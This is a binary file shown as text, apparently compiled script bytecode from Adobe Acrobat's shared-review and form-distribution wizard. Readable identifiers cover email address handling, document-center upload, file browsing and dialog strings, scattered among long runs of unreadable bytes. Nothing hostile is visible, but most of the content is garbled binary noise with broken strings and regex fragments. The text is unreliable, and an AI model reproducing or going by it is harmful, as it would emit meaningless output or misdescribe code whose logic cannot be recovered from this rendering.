��/Ymʘ�/!������ɐ�ϐ������	ΐ���	ΐ��	ɐ��ߐP�����ɐ�ߐP�����ɐ�ߐP�������ΐ��ɐ��ߐP�����ɐ��ߐ�P�����ɐ�ߐ�P�����ɐ�ߐ�P��/d���
��t���ɐ���镐�`����m
��/um
��/{mʘ�/o���ɐ�ߐP�����ɐ�ߐP�����ɐ�ߐP������
��t����ɐ�����`8��mʐ��ɐ�ߐ�����
��t����wizarddata
curStepNumnoFunc
reviewTypeSharedReviewstepsnameIWNewInternalServerIWSharedReviewDocCenterLogin$IWSharedReviewDocCenterCreateConfirmIWEmailStepDescriptionIWDistributeStepDescriptionIWIdentityDialogIWDistributionServer
GetStepNumdeliveryMethodLinkClickedUseDocumentCenterFormDistributionIWSubmitButtonserver	undefinedURL,urn://ns.adobe.com/Collaboration/Forms/EmailaddInternalServer5urn://ns.adobe.com/Collaboration/Forms/InternalServer	ShareFileIWBrowseAnyDocDocCenterLogin�������(�
orderClusterTitledisallowPrevshowReaderEnableverifyRaddrdescriptionާ9��/;�
�:Q9��YT]T]T]�]�]�]�]	�]
�]�]�]
�]�	]�
]�]�]ZY=]=]=]ZY=]=]=]ZY=];5]=]\`\]\`Y= ]C]!YZ�`YZ\]"\`\]#\]$=%]=]\`\]\`\]&\�:WQ;�'
�:QV��ѐАȐȐȐʘ�/�ʘ�/�ʘ�/�ʘ�/�ʘ�/�ʘ�0ʘ�0ʘ�0"ʘ�02ʘ�0{ʘ�0�ʘ�0�ʘ�0Ô�ʐʐʐ���ʐʐʐ���ʐϐژ�0וʐ��ʐ阀0�ѐ���app	beginPrivANTrustPropagateAlldisallowPrevshowReaderEnableverifyRaddr
initialize
splitAddrs	joinAddrsupdateAddrsidleadrboptsemailListsMatchallEmailAddrsValidresolveAddrsremoveDuplicateEmailAddresses#removeDuplicateEmailAddressesInListcommitviewtype	align_topalign_children
align_fill	alignmentalignbuttonAnnotsStringIDS_INVITE_ADDRESS_BOOKnameitem_idelements	edit_text	multilineedit_text_heightprodheightaddrdescriptionendPriv�����Y�L'dialog����/A5B6QA55 A5Z\6QA�
�T�C�:QA;5�
�=�:@6QA5A5E.QA55	�=
CA55	6	Q;�
�:QA55 A5;
56Q;�
�:QA55 #A5YC]B]\6QT�
�=�:QT�
�Y;5]\�:Q��͐�����ѐ�Ӑ��䐈҈2���ѐ��ѐ����֐�ѐ�����ސ�Ր���7datacertWarningPoppedaddrsupdateAddrscanReaderEnableapp
viewerTypematchExchange-ProreaderEnable	undefined	beginPrivraddridentityemailendPrivtoolbars
Commenting
AdvCommentingfocusaddrenableaddressBookAvailableadrb�������addrsaddrVec	resultVecjiaddr��۬�/T�
��:WQZ\WQ>WQVKHmMWQVV7�
��=�:WQVVV#?WQV8Q�L����NV�ؐɐ��5Kː�␐��ܐ����splitreplace$1
\;|\n|\r\n|\r^\s*(\S(?:.*\S)?)\s*$0K������addrs�%��/T�
�=�:��Ոjoin
�����m�
dialogdataIn@�i��/	T=T�
�YA�
�A55�:]\�:Q1A5A�
�T�
�:5�:6Q��8���������:load	joinAddrsdataaddrsaddr
splitAddrsstore������4!dialogos}����/	A55E(QA555EQA55 [A5C6Q;�
�:Q;�
�Y;5]	\�:Q;�

�:QT�
�:WQA�
�V5
�:WQT�
�YV�>EQA555 CB]A5BC]\�:Q���3����͐�ѐ�琈ѐ��Ґ�ِ�АЈ�ѐא�datadoc	certifiedcertWarningPoppedapp	beginPrivalertAnnotsString/IDS_BROWSER_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIEDcMsgendPrivstore
splitAddrsaddrenablelengthnextdisallowPrevprev�������
0dialogaddrsjoinedAddrs��ò�/A�
�T�B�:QVQ�A55�
�=�:WQ;�
�:Q;�
�YV]B]	B]
\�:WQ;�
�:Q�vWQ�V6A5A�
�V>7�:6QA�
�T�C�:Q��Ӑ������ѐ��x��ʐ�{��0���ސ�ӈupdateAddrsdataaddrsjoin;app	beginPrivmailGetAddrscTobCcbBccendPriv
splitAddrs����ev�����%�dialogײB�09��A5�A5�A5�:Q���QCBRunReviewOptionsDialogdatashowReaderEnablecanReaderEnable�����w�	firstList
secondList
firstArraysecondArrayfirstSortedListsecondSortedListd���0	A�
�T�:WQA�
�T�:WQV�
�:�
�=�:WQV�
�:�
�=�:WQVV�ԐԐ��㐐�Ȉ-
splitAddrssortjoin;�����p�#	addrArray
invalidIDsiaddr����"0=WQTKTmMWQTV7WQ9��V�: +V=V=WQVVWQ�L����NV�ɐ5Wː�ː�������
͐�	Ԑ����CBIsValidEmail, W�����u�(xBdialogpropsresolvedEmailListemailCategories
finalLists
invalidIDsresult���20
YB]A55�
�=�:]=]A55]	A55
]C]\WQA55
=>T�
�YB]\�:QVC6QV;56Q;�
�:Q�;�
�V�:WQ-�vWQ9��=�:Q�;�
�:QV�
��:WQYV>7�
���:]V?7�
���:]V�7�
���:]\WQA� 
�V�:QA5A�!
�V5�:6QA�"
�T�C�:Q=WQA�#
�A55�:WQV=~;�
�:Q;�$
�;5%�&
��V�:�?�?�:WQ;�
�:QV?9��='�:Q��07����ʐААː������ܐ�ʐ�Ӑ���ѐ���x��ʐ��Հ{���ѐ�ؐ���ؐؐސ���ј�0l�ᐈӐɐ�ܐ����	ѐ���	ѐ�
��Ո?bUIdataaddrsjoin;cTocCcsubjcSubjectmsgcMsgbNoError
reviewTypeEBRenablenext
bShowProgresscProgressMessageAnnotsStringIDS_GEN_STATUS_RESOLVINGapp	beginPrivgetResolvedAddresses
DebugThrowThrow: SendmailendPrivsplitsubstrtoListccListbccListremoveDuplicateEmailAddresses
splitAddrsupdateAddrsallEmailAddrsValidalert%IDS_SHARED_REVIEW_UNRESOLVED_MAIL_IDSreplace0The email addresses are not valid. So try again.����e&	%mailids%������[�	listsž��{0TA�
�T5�:6QTA�
�T5�:6QTA�
�T5�:6Q��ސ�ސ�ވHtoList#removeDuplicateEmailAddressesInListccListbccList������� addrListnewListaddrsiaddrlen����0=WQT�
��:WQVKLmMWQVV7WQV�
�=V=�:@VV=WQ�L����NV�WQV�
�?�V��:��0�ɐؐ5Oː�ː���ڐ�̐�؈";splitmatchlengthsubstr;+O�������x3dialognext�����0A�
�T�B�:QT�A�
�T�:QA5EQA55 �9��A5�A5�A5�:QA55 X;�	
�:Q;�

�;5�:Q;�
�:Q9��=�:QA55x=y=y;z�A5;56QA5;56Q�A5;56QA55 A5;56QA5;56Q-;�
�=A55�:Q��Ӑ�������ј�0�̈����	䐈����ѐ�
ܐ�ѐ�
՘�0��`����m
��0�mʘ�0���֐�֐P�����֐���ې�֐P�����P��updateAddrsresolveAddrsverifyRaddrdataraddrCBRunReviewOptionsDialogshowReaderEnablecanReaderEnableapp	beginPrivalertAnnotsStringIDS_INVITE_NO_RADDRendPriv
DebugThrowNo return address
reviewTypeBBREBR
cannedSubjIDS_INVITE_DEFAULT_SUBJECT	cannedMsgIDS_INVITE_DEFAULT_MESSAGEIDS_SEND_FOR_REVIEW_SUBJreaderEnableIDS_SEND_FOR_REVIEW_PRO_MSGIDS_SEND_FOR_REVIEW_STD_MSGconsoleprintlnUnhandled Review Type: �����y�'�/@orderClusterTitledisallowPrevbShowInitiatorEmailbShowReaderEnablebCanReaderEnableaddrBookAndAddWidthdescriptionn����0YZY;5]\`Y;5]\`\]\WQ;�
�:Q9��YT]�]	�]
�]�]�]
ZY=]=]=]ZY=];5]V]=]\`Y=]=]=]\`\]\`\�
�TyZY=]=]ZY=]=]C]; 5!];5"]\`\]\`\
Z\�:�
�����yZY=]=]ZY=]=#]C]; 5!];5$]\`\]\`\
Z\�:]%\�:WQ;�&
�:QV�����ѐАȐʘ�1ʘ�1"ʘ�1+ʘ�1>ʘ�1P��ʐʐʐ���ʐϐȐϐ��ʐʐ㘀1dt���ʐʐ���ʐʐ�ϐ嘀1t�t���ʐʐ���ʐʐ�ϐ嘀1�א��ѐ���AnnotsStringIDS_INVITE_ADDstring_width
IDS_INVITE_TOmaxapp	beginPrivANTrustPropagateAlldisallowPrev
initializeidleadrbcbx1commitviewtype	align_rowalign_children
align_fill	alignmentbuttonIDS_INVITE_ADDRESS_BOOKnamewidthitem_id	edit_text1adrelementsconcat
align_left	check_box	wrap_nameCollabwizardWidth+IDS_EMAIL_APPROVAL_INVITE_STEP_CC_INITIATORcbx2.IDS_EMAIL_APPROVAL_INVITE_STEP_GRANT_UB_RIGHTSdescriptionendPriv�����i�P&dialog�����0A5B6QA55 A5Z\6QA55�=A5B6QT�
�YA55]\�:QT�
�YA55]\�:QT�
�=�:Q�����.A55	�=A5C6	Q)A55	�=A5B6	QT�
�YA55	]
\�:QT�
�Y�����]
;5
]\�:Q��͐�����ѐ������͐��搈搈՘�1�)���	���Ґ����	���͐��搈�NdatacertWarningPoppedaddrsinitiatorEmail	undefinedloadcbx11adrfocusreaderEnablecbx2enableappaddressBookAvailableadrb������2dialogo����1A55E(QA555EQA55 [A5C6Q;�
�:Q;�
�Y;5]	\�:Q;�

�:QT�
�:WQT�
�YV5
�>EQA555 CB]A5BC]\�:Q���3����͐�ѐ�琈ѐ��Ґ��АՈ&�ѐא�datadoc	certifiedcertWarningPoppedapp	beginPrivalertAnnotsString/IDS_BROWSER_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIEDcMsgendPrivstoreenable1adrlengthnextdisallowPrevprev�������
dialogaddrs����"1	;�
�:Q;�
�YT�
�:5]B]B]\�:WQ;�
�:QVEQV>7%T�	
�YV>7]\�:Q��ѐ���ѐ�����!app	beginPrivmailGetAddrsstore1adrcTobCcbBccendPrivload�����?�dialogo��[�+1T�
�:WQV5A5C6QA5B6Q�Ґ����Ґ��͈!storecbx1datainitiatorEmail�������&dialogom�:�>1T�
�:WQA5V56Q�����EQV5A55gA5V56QA5C6QA55 A5;5	6QA5;5
6Q�Ґ��Ԑ�����Ԑ�͐����ې��ֈLstoredataaddrs1adrcbx2readerEnable
msgChanged	cannedMsgAnnotsString&IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_UB(IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_NOUB������>subjHeadingisBBRdescription�u��1YT]�]�]ZY=]=];5]	\`Y=
]T]\`Y=]=]
YZYZ\]\`�
`\]\]C]=]\`\]\WQ;�
�:Q9��V�:WQ;�
�:QV���Ȑʘ�1�ʘ�1ᔕʐʐԐ��ʐ͐��ʐʐژ�1��ѐ�֐�ѐ���isBBR
initializecommit	edit_texttypesubjitem_idCollabwizardWidthwidthstatic_textname
align_fill	alignmentedit_text_heightprodheight	multilinemesgdescriptionapp	beginPrivANTrustPropagateAllendPriv������!wPdialogdocNamebNameHasPercentEncodingdecodedDocNameoo����1AA556QAA556QA55EQA555A555!A55�
��:WQ;5=	3V�

�V�
�=�:?�:WQC;5=
.V�

�V�
�=�:?�:WQBWQ=WQV�
�=�:�E)QA55EQA55�=CCWQA55�

�A55�
�=�:?�:WQA55 DQA55pVAA5A5�
��V=V=�:6Q,A5A5�
��V�:6QA55 DQA55`V1A5A5�
��V�:6Q,A5A5�
��V�:6QA5B6QT�
�YA55]A55]\�:QT�
�=�:QT�
�:WQA5V56 Q��Ґ�Ґ�����.�������1��阀1��ɐ�?��������������<������琐����,��쐐�琐�͐�����Ր�Ґ�Ԉ"
cannedSubjdata	cannedMsgdocdocumentFileNamedocPathmatchappplatformWIN	substringlastIndexOf\MAC:indexOf%
decodedURLstring/msg
msgChangedreplace ()subjloadmesgfocusnextstoremsgOriginal[^\/]*$	%docname%	%docname%	%docname%	%docname%�����z�D-dialognexto�����1T�
�:WQA5V56QA55A55A5C6QA55E
QT e;�
�:Q;�
�;	5
�����:�9��=�:Q;�
�:QA5V56QTE4QA5E(QA555�
��: e;�
�:Q;�
�;	5�����:�9��=�:Q;�
�:Q�Ґ�Ԑ���͐�ш���ѐ���Ր�ѐ���Ԑ�Ո����ѐ���Ր�шstoredatamsgmesgmsgOriginal
msgChangedapp	beginPrivalertAnnotsString"IDS_INVITE_CUSTOM_MSG_WILL_BE_LOST
DebugThrowDon't lose custom messageendPrivsubjisBBRdocpathmatchIDS_INVITE_FROM_FILEBBR loc invite location bad^http[s]?\:������	�W�.datamaxPDFCommentsSizeresultmsgboxtitleprops��&�1TT5=6Q9��=�:QT5�=D9QT5 D*QT5EQT55T5^;	�

�:QT5=;�
�T5�:QT5CJT;	�
�YT5]T5]C]\�:6QKT;	�
�YT5]T5]C]C]\�:6Q;	�
�:QT5^T5C0;�
�T5�:Q;�
�:QT5T5�T58QTC6QT5EQT5=�;	�

�:Q;5WQ;	�
�:QT5EQT55XXV�;	�

�:Q;	�
�;5� 
��V�:�����:WQ;	�
�:QV�9!�!�="�:Q;�#
�T5�C�:E*QT55�#
�T5�B�: t;	�

�:Q;	�
�T5;5$;5%�:Q;	�
�:Q9!�!�=&�:Q;�'
�T5�B�:D3QT5=(EQ;�)
�T5�:t;	�

�:Q;	�
�T5;5*;5+�:Q;	�
�:Q9!�!�=,�:QT5 E#QT5@EQT55-�;	�

�:Q;	5.=/;50;51WQ;	�
�YV]2;53]4�]5\�:Q;	�
�:Q9!�!�=6�:QT5�7
�;859�;85:�:;85;D:QT5�7
�;859�;85<�:;85;t;	�

�:Q;	�
�T5;5=;5>�:Q;	�
�:Q9!�!�=?�:QT5�7
�;85@�;85A�:;85;X;	�

�:Q;	�
�;5B�:Q;	�
�:Q9!�!�=C�:QT55DX;	�

�:Q;	�
�;5E�:Q;	�
�:Q9!�!�=C�:QTT5�7
�;85@�;85G�:;85;6FQT55Hh;	�

�:Q;	�
�Y;5I]4\�:Q;	�
�:Q9!�!�=J�:Q�T5F �;�K
�T5�:h;	�

�:Q;	�
�Y;5L]4\�:Q;	�
�:Q9!�!�=M�:Qc;	�

�:Q;	�
�Y;5N]4\�:Q;	�
�:Q9!�!�=C�:Q-T5EQT5=O9��=PT55�:Q;	�

�:Q;�Q
�T55�:WQ;	�
�:QV@9!�!�=R�:Q�V5S?1T5V5T6QTV5T6QFV5S�T�6UQ V5S�T�6UQ=Vp��א���Ր�Ո"�����ѐ���ڐ�E���������ѐ�������
ڐ�
ѐ��ߘ�2�ʐ��������ѐΐ�ѐ������ѐ���ѐ���՘�2-�.����ѐ��㐈ѐ�՘�26�����ѐ��㐈ѐ�՘�2A�����ѐ�␈���ѐ�՘�2K������ѐ��㐈ѐ�՘�2X����ѐ�ܐ�ѐ�՘�2a����ѐ�ܐ�ѐ�՘�2j�������c���ѐ�琈ѐ�ڐ������c���ѐ�琈ѐ�ڐ����ѐ�琈ѐ�ژ�2�����㐐�ѐ␈ј�2����ڐ���,���֐�֐������А����ː���
isApproval
reviewTypeAPP
DebugAlert In IWBrowseDocStepCommitWork doc	undefinedpathdocPathapp	beginPrivSharedReviewCollabaddDocToDocsOpenedByWizarddelayOpenDocopenDocdocFScFScPathbUseConvbHiddenendPrivbringToFrontdocsOpenedByWizardlength
msgChangedmaxPDFCommentsSize	checkSizefilesizealertAnnotsString IDS_SEND_FOR_REVIEW_DOC_IS_LARGEreplace
DebugThrowBig doc
isEmailReview IDS_CANT_APPROVE_LAX_EMAIL_MATCHIDS_CANT_REVIEW_LAX_EMAIL_MATCHLax review matchisOnlineReviewBBRisOfflineReviewIDS_CANT_APPROVE_ALREADY_BBRIDS_CANT_REVIEW_ALREADY_BBROn-line review matchdynamicXFAForm
viewerTypeReaderIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBATcTitleIDS_DYNAMIC_DOC_COMMENTS_MSG1cMsgnIconDynamic documentrequestPermission
permissionannot	canExportgrantedcreateIDS_CANT_APPROVE_WITH_NO_PERMSIDS_CANT_REVIEW_WITH_NO_PERMSNo permsdocumentfullSaveIDS_CANT_WORKFLOW_WITH_NO_SAVECannot full saveisInCollectionIDS_PDF_PACKAGE_SEND_FOR_REVIEW
docModifiablemodify	certified8IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIED_ALTERNATEDocument is certifiedisSharedReview2IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_SHARED_REVIEW$This is already a shared review file'IDS_SHARED_REVIEW_DOC_IS_NOT_MODIFIABLEFormDistributiondoc pathAFPrepareFormForDistributionform not distributablestatusoutPathIWStatushalt%mb%�������1�&@
reviewType	checkSizedescription���2Y�]�]�]�]�]�]ZY=];5	]
;5];5
];5]=]=]ZY=]=]=]=]=]C]\`Y=]=]=]ZY=]=]=]\`Y=]; 5!]=]\`\]"\`Y=]=]ZY=#]X�]\`Y=]=]=]?]$\`Y=]=]=%]ZY=&]=']� ]
� ]\`Y=]9(�(�=);*�:]X|]
C]+\`\]"\`\]"\`\]"\`\],\WQ;-�.
�:Q9/�/�V�:WQ;-�0
�:QV���ʘ�2�ʘ�3ʘ�3!ʘ�3-ʘ�3Eʘ�3d��ʐϐϐϐϐʐʐ���ʐʐʐʐʐː��ʐʐʐ���ʐʐϐ��ʐϐژ�3��ʐʐ���ʐ͐���ʐʐʐː���ʐʐʐ���ʐʐ�̐��ʐߐȐ���3��ѐ�֐�ѐ���
initialize
updateDocsbrwsfindSelectedIndexfilscommitviewtypeCollabwizardWidthwidthwizardHeightheightmarginHeight
margin_heightwizardMarginWidthmargin_width
align_leftalign_children
align_fill	alignmentstatic_textnamehdngitem_iddialogfontbold	align_rowpopupbuttonAnnotsString
IDS_BROWSEelementsgap	separatoralign_centerimageicn1SharedString*IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TIP_DESCWT	wrap_namedescriptionapp	beginPrivANTrustPropagateAllendPriv�����5�!t5dialogtoLoadtoShowtoEnable/��2	Y\WQY\WQY\WQA55 D>QA55=E'QA55EQA555'A5=6QA5;6QA�	
�T�:QVB6
QVB6QVA55;DQA55=6QA55=
DQA55=BA5;5�
�=�:@6QVA556QA5�����6QV9��=;�:6QV=6QT�
�V�:QT�
�V�:QT�
�V�:QV54T�
�=�:QT� 
�=�:Q/T�
�=�:QT� 
�=�:Q�ʐʐʐ������ѐ�ѐ��ѐ���ʐ��ʐ��������㘀2ЈԐ���Ր��㐈ΐ��Ӑ�Ӑ�Ӑ��/���Ր�ڐ����Ր�ՈdatadocPath
reviewTypeFormDistributiondocisInCollectiondocFS	undefined
updateDocsprevhelpnextSharedReviewcanReaderEnableapp
viewerTypematchExchange-Proenbl	checkSizehdngSharedString,IDS_SHARED_REVIEW_BROWSE_DOC_STEP_SUBHEADINGWTicn1C_Info_Xl_N.pngloadvisibleenablemakeDefaultbrwsfocus�����A�Mdocsfils	didSelectidocselect�b�2;�
�:Q;5WQ;�
�:QY\WQBWQVK�mMWQVV7WQV5 EQV5 ]V5A55WQV5	 *VV5
??VV?�8QV
CWQ�L���wNV EQA552VA55�
��:>7V�?8QA5
�
�YV]\�:Q��ѐΐ�ѐ�ʐ��5��ː�ː��ψ���ؐ��	���
�А���Θ�3����퐐��app	beginPriv
activeDocsendPrivexternalisInProtectedViewpathdatadocPathisInCollectiondocumentFileNamematchlengthdialogloadfils[^\/]*$I������,�<&dialogpbResultx3;�
�:Q;�
�:WQ;�
�:QV�V5=H;�
�:Q;�
�;5�:Q;�
�:Q�A5	V56
QA5	V56QA�
�:QA5	5;DQA5	5
=WQA5�
�YV]\�:QT�
�=�:Q��ѐԐ�ѐ����C���ѐ�ܐ�֐����	Ԑ�	Ԑ�	͐쐈	ᐈ	Ոapp	beginPrivbrowseForDocendPrivcFSCSPalertAnnotsString/IDS_WORKFLOW_ERROR_DUETO_BROWSE_SHAREPOINT_FILEdatadocPathcPathdocFS
updateDocs	undefineddialogenablenextfocus�����P�idoi1�!3A5�
�:T7WQVK%mMWQVV7>VV7?�N��L����N��ِ�5(ː�����xː���
dialogstore#(�������'dialogdocsibResult�t-3;�
�:Q;5WQ;�
�:QA�
�=�:WQV>EQVV�A5VV75	6QA55
;DQA55=WQA5
�
�YV]\�:QVT�
�=�:Q��ѐΐ�ѐ�֐����ؐ�쐈ᐐ��Ոapp	beginPriv
activeDocsendPrivfindSelectedIndexfilslengthdatadocPathpathdocFS	undefineddialogenablenextfocus������?dialognextdocsi<�E3;�
�:Q;5WQ;�
�:QA�
�=�:WQV>EQVV�A5VV75	6QT�A55
Cr�9��A5�:QQ�vWQ;5=
EQV=T�
�=�:Q�T�
�=�:Q��ѐΐ�ѐ�֐����ؐ����m�����
�x��ʐ�����	Հ{˘�3a�	Ոapp	beginPriv
activeDocsendPrivfindSelectedIndexfilslengthdatadocPathpathdelayOpenDocIWBrowseDocStepCommitWork
reviewTypeFormDistributionhaltendcnclddoc����e��������7�3@
reviewType	checkSizedescriptionpA�3Y�]�]�]�]�]�]�]�]ZY=]	;
5];
5
];
5];
5]=]=]ZY=]	=]=]ZY=]	9��=;�:]=]=] C]!\`Y="]	=]\`Y=#]	9��=$;�:]=]\`Y=#]	;%5&]=]\`\]'\`Y=]	=]ZY=(]	=)]X�]=]\`Y="]	�]\`Y=]	=*]=]?]+\`Y=]	=]=,]ZY=-]	=.]� ]� ]\`Y=]	=]ZY=]	9��=/;�:]\`Y=0]	=];%51]\`\]'\`\]'\`\]'\`\]'\`\]2\WQ;3�4
�:Q95�5�V�:WQ;3�6
�:QV���ʘ�3�ʘ�4ʘ�4ʘ�41ʘ�4?ʘ�4Eʘ�4Nʘ�4Ԕ�ʐϐϐϐϐʐʐ���ʐʐʐ���ʐߐʐʐː��ʐϐ��ʐߐϐ��ʐϐژ�4��ʐʐ���ʐʐȐϐ��ʐ̐���ʐʐʐː���ʐʐʐ���ʐʐ�̐��ʐʐ����ʐ䐐�ʐʐ�̘�59�ѐ�֐�ѐ���
initialize
updateDocsfindSelectedIndexsMorsDellinkidlecommitviewtypeCollabwizardWidthwidthwizardHeightheightmarginHeight
margin_heightwizardMarginWidthmargin_width
align_leftalign_children
align_fill	alignment	align_rowstatic_textSharedString)IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADINGWTnamehdngitem_iddialogfontboldgapbuttonIDS_SHARE_FILE_MORE_FILESAnnotsString
IDS_DELETEelementslist_boxfils	separatoralign_centerimageicn1IDS_SHARE_FILE_TIP_DESC	link_text%IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPESdescriptionapp	beginPrivANTrustPropagateAllendPriv�����[�R*dialogtoLoad���3	Y\WQA55;A5Z\6Q�A55;vA5Z\6Q;�
�:QA55A55�;�
�A55�:8Q;�	
�:QV=6
QA55?V;56
QA�
�T�:QT�
�=�:QA5�����6QT�
�V�:QT�
�YB]\�:Q�ʐ������֐����q���ѐ��ѐ����֐������ΐ����Ӑ��ѐ�Ր��Ր��Ӑ�܈datadocPath	undefineddocListapp	beginPrivlengthCollabconvertDIPathToPlatformPathendPrivicn1C_Info_Xl_N.pngtypenextAnnotsString
IDS_UPLOAD
updateDocsfocussMor	checkSizeloadvisiblehelp�������y2toEnabledcl	didSelectidxi	currIndexok�W"�3Y\WQY\WQBWQ?WQ>WQcmV#?WQWQV"WQV?A55�
V"WQVA55V7V8QV#?WQQ�VA55�����9��=�:Q9��V�:QA55�>WQVV6QVV6QV�;�	
�:QA5;�
�A55>7�:6
Q;�
�:QA5A55
�
�A55
�
�=�:?�A55
��:6QA5�
�V�:QA5�
�YV]\�:Q�ʐ�ʐ����	$cWy�����3�ϐ��Ȑ�����Ȑ�ט�3�2̘�3���3�ۘ�3��Ր�Ӑ�֐�̐�̐����ѐ�ꐈѐ���Ӑ���֐��datadocListlengthDebugPrintlndumping dcl	ANDumpObjnextsDelapp	beginPrivdocPathCollabconvertPlatformPathToDIPathendPrivdocName	substringlastIndexOf/dialogenableloadfils(y�����P�idoiz" #4A5�
�:T7WQVK%mMWQVV7>VV7?�N��L����N��ِ�5(ː������xː����
dialogstore#(�������* dialogpi;#%4;�
�:Q;�
�Y�]9��=;�:]C]\�:WQ;�	
�:QVKsmMWQVV7a;�
�:QA5
5A5
5�;
�
�VV75�:8Q;�	
�:Q�L����NA�
�:Q��ѐ�Ȑ�ѐ�5vː����ѐ����ڐ���͈app	beginPrivbrowseForMultipleDocscFileFilterSharedString'IDS_SHARE_FILE_SELECT_FILE_DIALOG_TITLEWTcWindowTitlebAllowMultipleendPrivdatadocListlengthCollabconvertDIPathToPlatformPathcPath
updateDocssv�������Ndialogindex
newDocListi6%�&14	A�
�=�:WQZ\WQ>WQ)mVVA55V78QV#?WQQ�VV����VWQ+mVVA55V?78QV#?WQQ�VA55�?����A5V6QA�
�T�:Q�֐ɐ��	$)2��ؘ�46�̘�47��46�ΐ��	&+C��ژ�48�:̘�49��48�ݐ���ϐ�шfindSelectedIndexfilsdatadocListlength
updateDocsgC)2�����&�
dialogurl�&9'?4;5WQ;�
�V�C�:Q�ΐ�׈AnnotsString)IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPES_URLapp	launchURL�����C�dialogtoLoadO'�'E4Y\WQA55?V;56QT�
�V�:Q�ʐ���Ӑ��ӈdatatypenextAnnotsString
IDS_UPLOADload�����y���dialognexttempDocListtempDocList_DIPathifilePath
fileName_ibUniquej
fileName_jdescdcURL	localPath
uploadName	uploadURL
validLocation
fileErrorDescresult	fileProps(�7N4TuZ\WQZ\WQ>WQhm;�
�:Q;�
�A55V7�:WQ;�
�:QVV�V8QV#?WQQ�VA55�����>WQmVV7�
�VV7�	
�=
�:?�VV7��:WQCWQV?WQ�mVV7�
�VV7�	
�=
�:?�VV7��:WQVV:VBWQVV�VV78QVV�VV78QV#?WQQ�VV����fV#?WQQ�VV�����V�>z9��V�:Q9��V�:WQ;�
�:Q;�
�V�:Q;�
�:Q9��=�:Q;�
�:Q;5W	Q;�
�:QV	�
�V	�?�:=
V	=
W	QA5Z\6QA55K�mMWQ;�
�:Q;�
�A55V7�:W
Q;�
�:QV
�
�V
�	
�=
�:?�V
��:WQA5V6QV	VWQA5V6QA55�;�
�:QA55�
�V�: W
Q;�
�:QOm9��A5�C�:WQ;�
�:Q;�
�V�:WQ;�
�:QV=�A55CW
QN;�
�:QA55�
�A55�: W
Q;�
�:QV
OA55�
�A55�	
�=
�:?�A55��:WQ1V=CW
Q9��=�:Q�N��V
 ����YV
]V]�]\WQ9��V�:QA55A55�V8Q�L���WN��p��ɐɐ��
$h\~���	��4V��	ѐ䐈	ѐ��И�4U�4̘�4[��4U�ۘ�4^�
$���������4_������ �����������4c��������	��	Ԑ��Ԙ�4b�7̘�4l��4b�Ә�4^�5̘�4l��4^�Ә�4q����Ӑ֐��ѐ�Ր�ѐ��՘�4�ѐΐ�ѐ�����p���ѐ���0��ː��	ѐ䐈	ѐ��	ϐː�ϐ�����ѐ�ߐ�ѐ��(�U�����4��ې��ѐؐ�ѐ�������
���
ʐ����
ѐ�
�琈
ѐ����
�А���������
��
Ր��	z��4��˘�4���ȐȐ̐���Ӑ��
4Έapp	beginPrivCollabconvertPlatformPathToDIPathdatadocListendPrivlength	substringlastIndexOf/	ANDumpObj&IWUploadFileError_UniqueFilenameDialog
execDialog
DebugThrowExit the wizard
docCenterURLcharAt
filesToUpload
cDocumentNamedistributionURLswConn
fileExistsIWShowFileErrorokdoOverwritecancel	localPath
uploadNameuploadResult���U���$~����&IWUploadFileError_UniqueFilenameDialog��)d@filesWithSameFileNamedescription9A�HA5
Y�]�]Y9��=;�:]=]=]	>]
>]ZY=]
ZY=]
=]=]	=]=]=]=];5]
;5]ZY=]
X�]C];5]=]\`Y=]
= ]=]	X�]!X�]\`Y="]
\`\]#\`\]#\`\]#\]$\WQ;%�&
�:Q9'�'�V�:WQ;%�(
�:QV����ʘ�5[ʘ�5`�ߐʐʐ������ʐ���ʐʐʐʐʐʐʐϐϐ���ʐȐ�ϐϐ��ʐʐʐȐ͐�����5��ѐ�֐�ѐ���
initializecommitSharedString'IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLEWTname
align_leftalign_children
align_fill	alignmentmargin_width
margin_heightgrouptypeviewmgrpitem_iddialogBackground
back_colortopToBottomgradient_directiondarkToLight
gradient_typeCollabwizardMarginWidthstatic_textwidth	wrap_nameAnnotsString%IDS_SHARE_FILE_ERROR_UNIQUE_FILE_NAMEtxt0list_boxlistheightokelementsdescriptionapp	beginPrivANTrustPropagateAllendPriv�������
3dialogtoLoadsameFileNameListidocPlatformPath�AeCF5
Y\WQY\WQ�����K[mMWQ;�
�:Q;�
�����V7�:WQ;�
�:QVVV"8Q�L����N9��=�:Q9��V�:QVV6QT�	
�V�:Q�ʐʐ��0^ː��ѐ␈ѐ���$ϐ���Ր�Ӑ��̐�ӈapp	beginPrivCollabconvertDIPathToPlatformPathendPrivDebugPrintln sameFileNameList to be displayed	ANDumpObjlistload$^������dialog}C�C[5�����getFS��url�H�I�5T�
��:DQT�
��:;5ST�
��:DQT�
��:;5;5����А���А�ˈmatch
fileSystemdefaultWebDAV^\\\\^.+:\\
^file:\/\/	^smb:\/\/����IWShowFileError��R�@data	bIsRemotefilePathFromSaveAsDialogdontShowOverWriteOptiondocsidocradioButtondescription�IGr�5=�����Qj�����QB�����Q�����5=$;5=ˆ����55=	EQ�����B�����Q�;�

�:Q;�
�����'9
�
�����5�:�����5�:�����Q;�
�:QR;5==�����55=	EQ�����C�����Q����� E*Q����� EQ�����5=�;�

�:Q;5WQ;�
�:QVKhmMWQ�����C
UVV7WQ�����5�
�:V5�
